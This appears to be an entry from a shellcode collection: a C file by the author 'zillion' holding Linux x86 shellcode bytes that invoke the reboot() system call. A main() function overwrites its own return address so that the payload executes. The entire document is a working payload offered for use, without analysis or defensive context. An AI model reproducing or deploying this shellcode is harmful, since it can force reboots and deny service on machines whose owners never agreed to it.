Linux x86 shellcode that does a reboot().
a60f971b1b2c77391e3e9d43a47e554227ec63b5cc99a417cf70f5e18f451dc1
Author: zillion
Email: zillion@safemode.org
Homepage: https://www.safemode.org
Linux x86 shellcode that does a reboot()
reboot-shell.c
/*
* This shellcode will do a reboot()
* Written by zillion@safemode.org
*
*/
char shellcode[] =
"\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19"
"\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
--